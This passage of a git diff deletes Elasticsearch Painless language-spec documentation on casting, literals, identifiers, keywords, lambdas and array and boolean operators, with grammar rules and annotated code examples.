-    store `def` to `d1`
-<5> declare `int i`;
-    load from `d1` -> `def`;
-    implicit cast `def` to `HashMap reference` -> HashMap reference`;
-    call `size` on `HashMap reference` -> `int 0`;
-    store `int 0` to `i`;
-    (note `def` was implicit cast to `HashMap reference` since `HashMap` is the
-            child-most descendant type value that the `def` type value
-            represents)
-+
-* Valid dynamic type casts with an original `def` type to any target type.
-+
-[source,Painless]
-----
-def d = 1.0;         <1>
-int i = (int)d;      <2>
-d = 1;               <3>
-float f = d;         <4>
-d = new ArrayList(); <5>
-List l = d;          <6>
-----
-+
-<1> declare `def d`;
-    implicit cast `double 1.0` to `def` -> `def`;
-    store `def` to `d`
-<2> declare `int i`;
-    load from `d` -> `def`;
-    implicit cast `def` to `double 1.0` -> `double 1.0`;
-    explicit cast `double 1.0` to `int 1` -> `int 1`;
-    store `int 1` to `i`;
-    (note the explicit cast is necessary since a `double` type value is not
-            converted to an `int` type value implicitly)
-<3> store `int 1` to `d`;
-    (note the switch in the type `d` represents from `double` to `int`)
-<4> declare `float i`;
-    load from `d` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    implicit cast `int 1` to `float 1.0` -> `float 1.0`;
-    store `float 1.0` to `f`
-<5> allocate `ArrayList` instance -> `ArrayList reference`;
-    store `ArrayList reference` to `d`;
-    (note the switch in the type `d` represents from `int` to `ArrayList`)
-<6> declare `List l`;
-    load from `d` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `l`
-+
-* Invalid dynamic type casts resulting in errors.
-+
-[source,Painless]
-----
-def d = 1;                  <1>
-short s = d;       // error <2>
-d = new HashMap();          <3>
-List l = d;        // error <4>
-----
-<1> declare `def d`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `d`
-<2> declare `short s`;
-    load from `d` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    *error* -> cannot implicit cast `int 1` to `short 1`;
-    (note an explicit cast is valid)
-<3> allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`;
-    store `def` to `d`
-<4> declare `List l`;
-    load from `d` -> `def`;
-    implicit cast `def` to `HashMap reference`;
-    *error* -> cannot implicit cast `HashMap reference` to `List reference`;
-    (note no cast is valid since neither `HashMap` nor `List` is a descendant of
-            the other)
-
-[[string-character-casting]]
-==== String to Character Casting
-
-Use the cast operator to convert a <<string-type, `String` type>> value into a
-<<primitive-types, `char` type>> value.
-
-*Errors*
-
-* If the `String` type value isn't one character in length.
-* If the `String` type value is `null`.
-
-*Examples*
-
-* Casting string literals into `char` type values.
-+
-[source,Painless]
-----
-char c = (char)"C"; <1>
-c = (char)'c';      <2>
-----
-+
-<1> declare `char c`;
-    explicit cast `String "C"` to `char C` -> `char C`;
-    store `char C` to `c`
-<2> explicit cast `String 'c'` to `char c` -> `char c`;
-    store `char c` to `c`
-+
-* Casting a `String` reference into a `char` type value.
-+
-[source,Painless]
-----
-String s = "s";   <1>
-char c = (char)s; <2>
-----
-<1> declare `String s`;
-    store `String "s"` to `s`;
-<2> declare `char c`
-    load from `s` -> `String "s"`;
-    explicit cast `String "s"` to `char s` -> `char s`;
-    store `char s` to `c`
-
-[[character-string-casting]]
-==== Character to String Casting
-
-Use the cast operator to convert a <<primitive-types, `char` type>> value into a
-<<string-type, `String` type>> value.
-
-*Examples*
-
-* Casting a `String` reference into a `char` type value.
-+
-[source,Painless]
-----
-char c = 65;          <1>
-String s = (String)c; <2>
-----
-<1> declare `char c`;
-    store `char 65` to `c`;
-<2> declare `String s`
-    load from `c` -> `char A`;
-    explicit cast `char A` to `String "A"` -> `String "A"`;
-    store `String "A"` to `s`
-
-[[boxing-unboxing]]
-==== Boxing and Unboxing
-
-Boxing is a special type of cast used to convert a primitive type to its
-corresponding reference type. Unboxing is the reverse used to convert a
-reference type to its corresponding primitive type.
-
-Implicit boxing/unboxing occurs during the following operations:
-
-* Conversions between a `def` type and a primitive type are implicitly
-  boxed/unboxed as necessary, though this is referred to as an implicit cast
-  throughout the documentation.
-* Method/function call arguments are implicitly boxed/unboxed as necessary.
-* A primitive type value is implicitly boxed when a reference type method
-  is called on it.
-
-Explicit boxing/unboxing is not allowed. Use the reference type API to
-explicitly convert a primitive type value to its respective reference type
-value and vice versa.
-
-*Errors*
-
-* If an explicit cast is made to box/unbox a primitive type.
-
-*Examples*
-
-* Uses of implicit boxing/unboxing.
-+
-[source,Painless]
-----
-List l = new ArrayList();       <1>
-l.add(1);                       <2>
-Integer I = Integer.valueOf(0); <3>
-int i = l.get(i);               <4>
-----
-+
-<1> declare `List l`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    store `ArrayList reference` to `l`;
-<2> load from `l` -> `List reference`;
-    implicit cast `int 1` to `def` -> `def`;
-    call `add` on `List reference` with arguments (`def`);
-    (note internally `int 1` is boxed to `Integer 1` to store as a `def` type
-            value)
-<3> declare `Integer I`;
-    call `valueOf` on `Integer` with arguments of (`int 0`) -> `Integer 0`;
-    store `Integer 0` to `I`;
-<4> declare `int i`;
-    load from `I` -> `Integer 0`;
-    unbox `Integer 0` -> `int 0`;
-    load from `l` -> `List reference`;
-    call `get` on `List reference` with arguments (`int 0`) -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    store `int 1` to `i`;
-    (note internally `int 1` is unboxed from `Integer 1` when loaded from a
-            `def` type value)
-+
-* Uses of invalid boxing/unboxing resulting in errors.
-+
-[source,Painless]
-----
-Integer x = 1;                   // error <1>
-Integer y = (Integer)1;          // error <2>
-int a = Integer.valueOf(1);      // error <3>
-int b = (int)Integer.valueOf(1); // error <4>
-----
-+
-<1> declare `Integer x`;
-    *error* -> cannot implicit box `int 1` to `Integer 1` during assignment
-<2> declare `Integer y`;
-    *error* -> cannot explicit box `int 1` to `Integer 1` during assignment
-<3> declare `int a`;
-    call `valueOf` on `Integer` with arguments of (`int 1`) -> `Integer 1`;
-    *error* -> cannot implicit unbox `Integer 1` to `int 1` during assignment
-<4> declare `int a`;
-    call `valueOf` on `Integer` with arguments of (`int 1`) -> `Integer 1`;
-    *error* -> cannot explicit unbox `Integer 1` to `int 1` during assignment
-
-[[promotion]]
-==== Promotion
-
-Promotion is when a single value is implicitly cast to a certain type or
-multiple values are implicitly cast to the same type as required for evaluation
-by certain operations. Each operation that requires promotion has a promotion
-table that shows all required implicit casts based on the type(s) of value(s). A
-value promoted to a `def` type at compile-time is promoted again at run-time
-based on the type the `def` value represents.
-
-*Errors*
-
-* If a specific operation cannot find an allowed promotion type for the type(s)
-  of value(s) given.
-
-*Examples*
-
-* Uses of promotion.
-+
-[source,Painless]
-----
-double d = 2 + 2.0; <1>
-def x = 1;          <2>
-float f = x + 2.0F; <3>
-----
-<1> declare `double d`;
-    promote `int 2` and `double 2.0 @0`: result `double`;
-    implicit cast `int 2` to `double 2.0 @1` -> `double 2.0 @1`;
-    add `double 2.0 @1` and `double 2.0 @0` -> `double 4.0`;
-    store `double 4.0` to `d`
-<2> declare `def x`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `x`;
-<3> declare `float f`;
-    load from `x` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    promote `int 1` and `float 2.0`: result `float`;
-    implicit cast `int 1` to `float 1.0` -> `float `1.0`;
-    add `float 1.0` and `float 2.0` -> `float 3.0`;
-    store `float 3.0` to `f`;
-    (note this example illustrates promotion done at run-time as promotion
-            done at compile-time would have resolved to a `def` type value)
-
-[[allowed-casts]]
-==== Allowed Casts
-
-The following tables show all allowed casts. Read the tables row by row, where
-the original type is shown in the first column, and each subsequent column
-indicates whether a cast to the specified target type is implicit (I),
-explicit (E), boxed/unboxed for methods only (A), a reference type cast (@),
-or is not allowed (-). See <<reference-type-casting, reference type casting>>
-for allowed reference type casts.
-
-*Primitive/Reference Types*
-
-[cols="<3,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|                 | O | N | T | b | y | s | c | i | j | f | d | B | Y | S | C | I | J | F | D | R | def
-| Object    ( O ) |   | @ | @ | - | - | - | - | - | - | - | - | @ | @ | @ | @ | @ | @ | @ | @ | @ | I
-| Number    ( N ) | I |   | - | - | - | - | - | - | - | - | - | - | @ | @ | - | @ | @ | @ | @ | @ | I
-| String    ( T ) | I | - |   | - | - | - | - | - | - | - | - | - | - | - | E | - | - | - | - | - | I
-| boolean   ( b ) | A | - | - |   | - | - | - | - | - | - | - | A | - | - | - | - | - | - | - | - | I
-| byte      ( y ) | A | A | - | - |   | I | E | I | I | I | I | - | A | A | - | A | A | A | A | - | I
-| short     ( s ) | A | A | - | - | E |   | E | I | I | I | I | - | - | A | - | A | A | A | A | - | I
-| char      ( c ) | A | - | E | - | E | E |   | I | I | I | I | - | - | - | A | A | A | A | A | - | I
-| int       ( i ) | A | A | - | - | E | E | E |   | I | I | I | - | - | - | - | A | A | A | A | - | I
-| long      ( j ) | A | A | - | - | E | E | E | E |   | I | I | - | - | - | - | - | A | A | A | - | I
-| float     ( f ) | A | A | - | - | E | E | E | E | E |   | I | - | - | - | - | - | - | A | A | - | I
-| double    ( d ) | A | A | - | - | E | E | E | E | E | E |   | - | - | - | - | - | - | - | A | - | I
-| Boolean   ( B ) | A | - | - | A | - | - | - | - | - | - | - |   | - | - | - | - | - | - | - | @ | I
-| Byte      ( Y ) | A | I | - | - | A | A | - | A | A | A | A | - |   | A | - | A | A | A | A | @ | I
-| Short     ( S ) | A | I | - | - | - | A | - | A | A | A | A | - | - |   | - | A | A | A | A | @ | I
-| Character ( C ) | A | - | - | - | - | - | A | A | A | A | A | - | - | - |   | A | A | A | A | @ | I
-| Integer   ( I ) | A | - | - | - | - | - | - | A | A | A | A | - | - | - | - |   | A | A | A | @ | I
-| Long      ( J ) | A | - | - | - | - | - | - | - | A | A | A | - | - | - | - | - |   | A | A | @ | I
-| Float     ( F ) | A | - | - | - | - | - | - | - | - | A | A | - | - | - | - | - | - |   | A | @ | I
-| Double    ( D ) | A | - | - | - | - | - | - | - | - | - | A | - | - | - | - | - | - | - |   | @ | I
-| Reference ( R ) | I | @ | @ | - | - | - | - | - | - | - | - | @ | @ | @ | @ | @ | @ | @ | @ | @ | I
-|====
-
-*`def` Type*
-
-[cols="<3,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|                        | O | N | T | b | y | s | c | i | j | f | d | B | Y | S | C | I | J | F | D | R
-| def as String          | I | - | I | - | - | - | E | - | - | - | - | - | - | - | E | - | - | - | - | @
-| def as boolean/Boolean | I | - | - | I | - | - | - | - | - | - | - | I | - | - | - | - | - | - | - | @
-| def as byte/Byte       | I | - | - | - | I | I | E | I | I | I | I | - | I | I | E | I | I | I | I | @
-| def as short/Short     | I | - | - | - | E | I | E | I | I | I | I | - | E | I | E | I | I | I | I | @
-| def as char/Character  | I | - | - | - | E | E | I | I | I | I | I | - | E | E | I | I | I | I | I | @
-| def as int/Integer     | I | - | - | - | E | E | E | I | I | I | I | - | E | E | E | I | I | I | I | @
-| def as long/Long       | I | - | - | - | E | E | E | E | I | I | I | - | E | E | E | E | I | I | I | @
-| def as float/Float     | I | - | - | - | E | E | E | E | E | I | I | - | E | E | E | E | E | I | I | @
-| def as double/Double   | I | - | - | - | E | E | E | E | E | E | I | - | E | E | E | E | E | E | I | @
-| def as Reference       | @ | @ | @ | - | - | - | - | - | - | - | - | @ | @ | @ | @ | @ | @ | @ | @ | @
-|====
diff --git a/docs/painless/painless-lang-spec/painless-comments.asciidoc b/docs/painless/painless-lang-spec/painless-comments.asciidoc
deleted file mode 100644
index bfd3594431e..00000000000
--- a/docs/painless/painless-lang-spec/painless-comments.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[[painless-comments]]
-=== Comments
-
-Use a comment to annotate or explain code within a script. Use the `//` token
-anywhere on a line to specify a single-line comment. All characters from the
-`//` token to the end of the line are ignored. Use an opening `/*` token and a
-closing `*/` token to specify a multi-line comment. Multi-line comments can
-start anywhere on a line, and all characters in between the `/*` token and `*/`
-token are ignored. A comment is included anywhere within a script.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-SINGLE_LINE_COMMENT: '//' .*? [\n\r];
-MULTI_LINE_COMMENT: '/*' .*? '*/';
-----
-
-*Examples*
-
-* Single-line comments.
-+
-[source,Painless]
-----
-// single-line comment
-
-int value; // single-line comment
-----
-+
-* Multi-line comments.
-+
-[source,Painless]
-----
-/* multi-
-   line
-   comment */
-
-int value; /* multi-
-              line
-              comment */ value = 0;
-
-int value; /* multi-line
-              comment */
-
-/* multi-line
-   comment */ int value;
-
-int value; /* multi-line
-              comment */ value = 0;
-
-int value; /* multi-line comment */ value = 0;
-----
diff --git a/docs/painless/painless-lang-spec/painless-functions.asciidoc b/docs/painless/painless-lang-spec/painless-functions.asciidoc
deleted file mode 100644
index 20f3e821f1e..00000000000
--- a/docs/painless/painless-lang-spec/painless-functions.asciidoc
+++ /dev/null
@@ -1,24 +0,0 @@
-[[painless-functions]]
-=== Functions
-
-A function is a named piece of code comprised of one-to-many statements to
-perform a specific task. A function is called multiple times in a single script
-to repeat its specific task. A parameter is a named type value available as a
-<<painless-variables, variable>> within the statement(s) of a function. A
-function specifies zero-to-many parameters, and when a function is called a
-value is specified per parameter. An argument is a value passed into a function
-at the point of call. A function specifies a return type value, though if the
-type is <<void-type, void>> then no value is returned.  Any non-void type return
-value is available for use within an <<painless-operators, operation>> or is
-discarded otherwise.
-
-You can declare functions at the beginning of a Painless script, for example:
-
-[source,painless]
----------------------------------------------------------
-boolean isNegative(def x) { x < 0 }
-...
-if (isNegative(someVar)) {
-  ...
-}
----------------------------------------------------------
\ No newline at end of file
diff --git a/docs/painless/painless-lang-spec/painless-identifiers.asciidoc b/docs/painless/painless-lang-spec/painless-identifiers.asciidoc
deleted file mode 100644
index d2678b528ea..00000000000
--- a/docs/painless/painless-lang-spec/painless-identifiers.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[[painless-identifiers]]
-=== Identifiers
-
-Use an identifier as a named token to specify a
-<<painless-variables, variable>>, <<painless-types, type>>,
-<<field-access-operator, field>>, <<method-call-operator, method>>, or
-<<painless-functions, function>>.
-
-*Errors*
-
-If a <<painless-keywords, keyword>> is used as an identifier.
-
-*Grammar*
-[source,ANTLR4]
-----
-ID: [_a-zA-Z] [_a-zA-Z-0-9]*;
-----
-
-*Examples*
-
-* Variations of identifiers.
-+
-[source,Painless]
-----
-a
-Z
-id
-list
-list0
-MAP25
-_map25
-Map_25
-----
diff --git a/docs/painless/painless-lang-spec/painless-keywords.asciidoc b/docs/painless/painless-lang-spec/painless-keywords.asciidoc
deleted file mode 100644
index 24371d3713c..00000000000
--- a/docs/painless/painless-lang-spec/painless-keywords.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[[painless-keywords]]
-=== Keywords
-
-Keywords are reserved tokens for built-in language features.
-
-*Errors*
-
-* If a keyword is used as an <<painless-identifiers, identifier>>.
-
-*Keywords*
-
-[cols="^1,^1,^1,^1,^1"]
-|====
-| if | else | while | do | for
-| in | continue | break | return | new
-| try | catch | throw | this | instanceof
-|====
diff --git a/docs/painless/painless-lang-spec/painless-lambdas.asciidoc b/docs/painless/painless-lang-spec/painless-lambdas.asciidoc
deleted file mode 100644
index e6694229a0c..00000000000
--- a/docs/painless/painless-lang-spec/painless-lambdas.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[painless-lambdas]]
-=== Lambdas
-Lambda expressions and method references work the same as in https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html[Java].
-
-[source,painless]
----------------------------------------------------------
-list.removeIf(item -> item == 2);
-list.removeIf((int item) -> item == 2);
-list.removeIf((int item) -> { item == 2 });
-list.sort((x, y) -> x - y);
-list.sort(Integer::compare);
----------------------------------------------------------
-
-You can make method references to functions within the script with `this`,
-for example `list.sort(this::mycompare)`.
\ No newline at end of file
diff --git a/docs/painless/painless-lang-spec/painless-literals.asciidoc b/docs/painless/painless-lang-spec/painless-literals.asciidoc
deleted file mode 100644
index f2e58496380..00000000000
--- a/docs/painless/painless-lang-spec/painless-literals.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[[painless-literals]]
-=== Literals
-
-Use a literal to specify a value directly in an
-<<painless-operators, operation>>.
-
-[[integer-literals]]
-==== Integers
-
-Use an integer literal to specify an integer type value in decimal, octal, or
-hex notation of a <<primitive-types, primitive type>> `int`, `long`, `float`,
-or `double`. Use the following single letter designations to specify the
-primitive type: `l` or `L` for `long`, `f` or `F` for `float`, and `d` or `D`
-for `double`. If not specified, the type defaults to `int`.  Use `0` as a prefix
-to specify an integer literal as octal, and use `0x` or `0X` as a prefix to
-specify an integer literal as hex.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-INTEGER: '-'? ( '0' | [1-9] [0-9]* ) [lLfFdD]?;
-OCTAL:   '-'? '0' [0-7]+ [lL]?;
-HEX:     '-'? '0' [xX] [0-9a-fA-F]+ [lL]?;
-----
-
-*Examples*
-
-* Integer literals.
-+
-[source,Painless]
-----
-0     <1>
-0D    <2>
-1234L <3>
--90f  <4>
--022  <5>
-0xF2A <6>
-----
-+
-<1> `int 0`
-<2> `double 0.0`
-<3> `long 1234`
-<4> `float -90.0`
-<5> `int -18` in octal
-<6> `int 3882` in hex
-
-[[float-literals]]
-==== Floats
-
-Use a floating point literal to specify a floating point type value of a
-<<primitive-types, primitive type>> `float` or `double`. Use the following
-single letter designations to specify the primitive type: `f` or `F` for `float`
-and `d` or `D` for `double`. If not specified, the type defaults to `double`.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-DECIMAL: '-'? ( '0' | [1-9] [0-9]* ) (DOT [0-9]+)? EXPONENT? [fFdD]?;
-EXPONENT: ( [eE] [+\-]? [0-9]+ );
-----
-
-*Examples*
-
-* Floating point literals.
-+
-[source,Painless]
-----
-0.0      <1>
-1E6      <2>
-0.977777 <3>
--126.34  <4>
-89.9F    <5>
-----
-+
-<1> `double 0.0`
-<2> `double 1000000.0` in exponent notation
-<3> `double 0.977777`
-<4> `double -126.34`
-<5> `float 89.9`
-
-[[string-literals]]
-==== Strings
-
-Use a string literal to specify a <<string-type, `String` type>> value with
-either single-quotes or double-quotes. Use a `\"` token to include a
-double-quote as part of a double-quoted string literal. Use a `\'` token to
-include a single-quote as part of a single-quoted string literal.  Use a `\\`
-token to include a backslash as part of any string literal.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-STRING: ( '"'  ( '\\"'  | '\\\\' | ~[\\"] )*? '"'  )
-      | ( '\'' ( '\\\'' | '\\\\' | ~[\\'] )*? '\'' );
-----
-
-*Examples*
-
-* String literals using single-quotes.
-+
-[source,Painless]
-----
-'single-quoted string literal'
-'\'single-quoted with escaped single-quotes\' and backslash \\'
-'single-quoted with non-escaped "double-quotes"'
-----
-+
-* String literals using double-quotes.
-+
-[source,Painless]
-----
-"double-quoted string literal"
-"\"double-quoted with escaped double-quotes\" and backslash: \\"
-"double-quoted with non-escaped 'single-quotes'"
-----
-
-[[character-literals]]
-==== Characters
-
-Character literals are not specified directly. Instead, use the
-<<string-character-casting, cast operator>> to convert a `String` type value
-into a `char` type value.
diff --git a/docs/painless/painless-lang-spec/painless-operators-array.asciidoc b/docs/painless/painless-lang-spec/painless-operators-array.asciidoc
deleted file mode 100644
index ad23a980cb4..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators-array.asciidoc
+++ /dev/null
@@ -1,294 +0,0 @@
-[[painless-operators-array]]
-=== Operators: Array
-
-[[array-initialization-operator]]
-==== Array Initialization
-
-Use the `array initialization operator '[] {}'` to allocate a single-dimensional
-<<array-type, array type>> instance to the heap with a set of pre-defined
-elements. Each value used to initialize an element in the array type instance is
-cast to the specified element type value upon insertion. The order of specified
-values is maintained.
-
-*Errors*
-
-* If a value is not castable to the specified type value.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-array_initialization: 'new' TYPE '[' ']' '{' expression_list '}'
-                    | 'new' TYPE '[' ']' '{' '}';
-expression_list: expression (',' expression);
-----
-
-*Example:*
-
-* Array initialization with static values.
-+
-[source,Painless]
-----
-int[] x = new int[] {1, 2, 3}; <1>
-----
-+
-<1> declare `int[] x`;
-    allocate `1-d int array` instance with `length [3]`
-            -> `1-d int array reference`;
-    store `int 1` to `index [0]` of `1-d int array reference`;
-    store `int 2` to `index [1]` of `1-d int array reference`;
-    store `int 3` to `index [2]` of `1-d int array reference`;
-    store `1-d int array reference` to `x`;
-+
-* Array initialization with non-static values.
-+
-[source,Painless]
-----
-int i = 1;      <1>
-long l = 2L;    <2>
-float f = 3.0F; <3>
-double d = 4.0; <4>
-String s = "5"; <5>
-def array = new def[] {i, l, f*d, s}; <6>
-----
-+
-<1> declare `int i`;
-    store `int 1` to `i`
-<2> declare `long l`;
-    store `long 2` to `l`
-<3> declare `float f`;
-    store `float 3.0` to `f`
-<4> declare `double d`;
-    store `double 4.0` to `d`
-<5> declare `String s`;
-    store `String "5"` to `s`
-<6> declare `def array`;
-    allocate `1-d def array` instance with `length [4]`
-            -> `1-d def array reference`;
-    load from `i` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `index [0]` of `1-d def array reference`;
-    load from `l` -> `long 2`;
-    implicit cast `long 2` to `def` -> `def`;
-    store `def` to `index [1]` of `1-d def array reference`;
-    load from `f` -> `float 3.0`;
-    load from `d` -> `double 4.0`;
-    promote `float 3.0` and `double 4.0`: result `double`;
-    implicit cast `float 3.0` to `double 3.0` -> `double 3.0`;
-    multiply `double 3.0` and `double 4.0` -> `double 12.0`;
-    implicit cast `double 12.0` to `def` -> `def`;
-    store `def` to `index [2]` of `1-d def array reference`;
-    load from `s` -> `String "5"`;
-    implicit cast `String "5"` to `def` -> `def`;
-    store `def` to `index [3]` of `1-d def array reference`;
-    implicit cast `1-d int array reference` to `def` -> `def`;
-    store `def` to `array`
-
-[[array-access-operator]]
-==== Array Access
-
-Use the `array access operator '[]'` to store a value to or load a value from
-an <<array-type, array type>> value. Each element of an array type value is
-accessed with an `int` type value to specify the index to store/load. The range
-of elements within an array that are accessible is `[0, size)` where size is the
-number of elements specified at the time of allocation. Use a negative `int`
-type value as an index to access an element in reverse from the end of an array
-type value within a range of `[-size, -1]`.
-
-*Errors*
-
-* If a value other than an `int` type value or a value that is castable to an
-  `int` type value is provided as an index.
-* If an element is accessed outside of the valid ranges.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-brace_access: '[' expression ']'
-----
-
-*Examples*
-
-* Array access with a single-dimensional array.
-+
-[source,Painless]
-----
-int[] x = new int[2]; <1>
-x[0] = 2;             <2>
-x[1] = 5;             <3>
-int y = x[0] + x[1];  <4>
-int z = 1;            <5>
-int i = x[z];         <6>
-----
-+
-<1> declare `int[] x`;
-    allocate `1-d int array` instance with `length [2]`
-            -> `1-d int array reference`;
-    store `1-d int array reference` to `x`
-<2> load from `x` -> `1-d int array reference`;
-    store `int 2` to `index [0]` of `1-d int array reference`;
-<3> load from `x` -> `1-d int array reference`;
-    store `int 5` to `index [1]` of `1-d int array reference`;
-<4> declare `int y`;
-    load from `x` -> `1-d int array reference`;
-    load from `index [0]` of `1-d int array reference` -> `int 2`;
-    load from `x` -> `1-d int array reference`;
-    load from `index [1]` of `1-d int array reference` -> `int 5`;
-    add `int 2` and `int 5` -> `int 7`;
-    store `int 7` to `y`
-<5> declare `int z`;
-    store `int 1` to `z`;
-<6> declare `int i`;
-    load from `x` -> `1-d int array reference`;
-    load from `z` -> `int 1`;
-    load from `index [1]` of `1-d int array reference` -> `int 5`;
-    store `int 5` to `i`;
-+
-* Array access with the `def` type.
-+
-[source,Painless]
-----
-def d = new int[2];  <1>
-d[0] = 2;            <2>
-d[1] = 5;            <3>
-def x = d[0] + d[1]; <4>
-def y = 1;           <5>
-def z = d[y];        <6>
-----
-+
-<1> declare `def d`;
-    allocate `1-d int array` instance with `length [2]`
-            -> `1-d int array reference`;
-    implicit cast `1-d int array reference` to `def` -> `def`;
-    store `def` to `d`
-<2> load from `d` -> `def`
-    implicit cast `def` to `1-d int array reference`
-            -> `1-d int array reference`;
-    store `int 2` to `index [0]` of `1-d int array reference`;
-<3> load from `d` -> `def`
-    implicit cast `def` to `1-d int array reference`
-            -> `1-d int array reference`;
-    store `int 5` to `index [1]` of `1-d int array reference`;
-<4> declare `int x`;
-    load from `d` -> `def`
-    implicit cast `def` to `1-d int array reference`
-            -> `1-d int array reference`;
-    load from `index [0]` of `1-d int array reference` -> `int 2`;
-    load from `d` -> `def`
-    implicit cast `def` to `1-d int array reference`
-            -> `1-d int array reference`;
-    load from `index [1]` of `1-d int array reference` -> `int 5`;
-    add `int 2` and `int 5` -> `int 7`;
-    implicit cast `int 7` to `def` -> `def`;
-    store `def` to `x`
-<5> declare `def y`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `y`;
-<6> declare `int i`;
-    load from `d` -> `def`
-    implicit cast `def` to `1-d int array reference`
-            -> `1-d int array reference`;
-    load from `y` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    load from `index [1]` of `1-d int array reference` -> `int 5`;
-    implicit cast `int 5` to `def`;
-    store `def` to `z`;
-+
-* Array access with a multi-dimensional array.
-+
-[source,Painless]
-----
-int[][][] ia3 = new int[2][3][4]; <1>
-ia3[1][2][3] = 99;                <2>
-int i = ia3[1][2][3];             <3>
-----
-+
-<1> declare `int[][][] ia`;
-    allocate `3-d int array` instance with length `[2, 3, 4]`
-            -> `3-d int array reference`;
-    store `3-d int array reference` to `ia3`
-<2> load from `ia3` -> `3-d int array reference`;
-    store `int 99` to `index [1, 2, 3]` of `3-d int array reference`
-<3> declare `int i`;
-    load from `ia3` -> `3-d int array reference`;
-    load from `index [1, 2, 3]` of `3-d int array reference` -> `int 99`;
-    store `int 99` to `i`
-
-[[array-length-operator]]
-==== Array Length
-
-An array type value contains a read-only member field named `length`. The
-`length` field stores the size of the array as an `int` type value where size is
-the number of elements specified at the time of allocation. Use the
-<<field-access-operator, field access operator>> to load the field `length`
-from an array type value.
-
-*Examples*
-
-* Access the `length` field.
-+
-[source,Painless]
-----
-int[] x = new int[10]; <1>
-int l = x.length;      <2>
-----
-<1> declare `int[] x`;
-    allocate `1-d int array` instance with `length [2]`
-            -> `1-d int array reference`;
-    store `1-d int array reference` to `x`
-<2> declare `int l`;
-    load `x` -> `1-d int array reference`;
-    load `length` from `1-d int array reference` -> `int 10`;
-    store `int 10` to `l`;
-
-[[new-array-operator]]
-==== New Array
-
-Use the `new array operator 'new []'` to allocate an array type instance to
-the heap. Specify the element type following the `new` token. Specify each
-dimension with the `[` and `]` tokens following the element type name. The size
-of each dimension is specified by an `int` type value in between each set of `[`
-and `]` tokens.
-
-*Errors*
-
-* If a value other than an `int` type value or a value that is castable to an
-  `int` type value is specified for a dimension's size.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-new_array: 'new' TYPE ('[' expression ']')+;
-----
-
-*Examples*
-
-* Allocation of different array types.
-+
-[source,Painless]
-----
-int[] x = new int[5];    <1>
-x = new int[10];         <2>
-int y = 2;               <3>
-def z = new def[y][y*2]; <4>
-----
-+
-<1> declare `int[] x`;
-    allocate `1-d int array` instance with `length [5]`
-            -> `1-d int array reference`;
-    store `1-d int array reference` to `x`
-<2> allocate `1-d int array` instance with `length [10]`
-            -> `1-d int array reference`;
-    store `1-d int array reference` to `x`
-<3> declare `int y`;
-    store `int 2` to `y`;
-<4> declare `def z`;
-    load from `y` -> `int 2 @0`;
-    load from `y` -> `int 2 @1`;
-    multiply `int 2 @1` by `int 2 @2` -> `int 4`;
-    allocate `2-d int array` instance with length `[2, 4]`
-            -> `2-d int array reference`;
-    implicit cast `2-d int array reference` to `def` -> `def`;
-    store `def` to `z`;
diff --git a/docs/painless/painless-lang-spec/painless-operators-boolean.asciidoc b/docs/painless/painless-lang-spec/painless-operators-boolean.asciidoc
deleted file mode 100644
index 6f9481aa4ec..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators-boolean.asciidoc
+++ /dev/null
@@ -1,1420 +0,0 @@
-[[painless-operators-boolean]]
-=== Operators: Boolean
-
-[[boolean-not-operator]]
-==== Boolean Not
-
-Use the `boolean not operator '!'` to NOT a `boolean` type value where `true` is
-flipped to `false` and `false` is flipped to `true`.
-
-*Errors*
-
-* If a value other than a `boolean` type value or a value that is castable to a
-  `boolean` type value is given.
-
-*Truth*
-
-[options="header",cols="<1,<1"]
-|====
-| original | result
-| true     | false
-| false    | true
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-boolean_not: '!' expression;
-----
-
-*Examples*
-
-* Boolean not with the `boolean` type.
-+
-[source,Painless]
-----
-boolean x = !false; <1>
-boolean y = !x;     <2>
-----
-<1> declare `boolean x`;
-    boolean not `boolean false` -> `boolean true`;
-    store `boolean true` to `x`
-<2> declare `boolean y`;
-    load from `x` -> `boolean true`;
-    boolean not `boolean true` -> `boolean false`;
-    store `boolean false` to `y`
-+
-* Boolean not with the `def` type.
-+
-[source,Painless]
-----
-def y = true; <1>
-def z = !y;   <2>
-----
-+
-<1> declare `def y`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `true` to `y`
-<2> declare `def z`;
-    load from `y` -> `def`;
-    implicit cast `def` to `boolean true` -> boolean `true`;
-    boolean not `boolean true` -> `boolean false`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `z`
-
-[[greater-than-operator]]
-==== Greater Than
-
-Use the `greater than operator '>'` to COMPARE two numeric type values where a
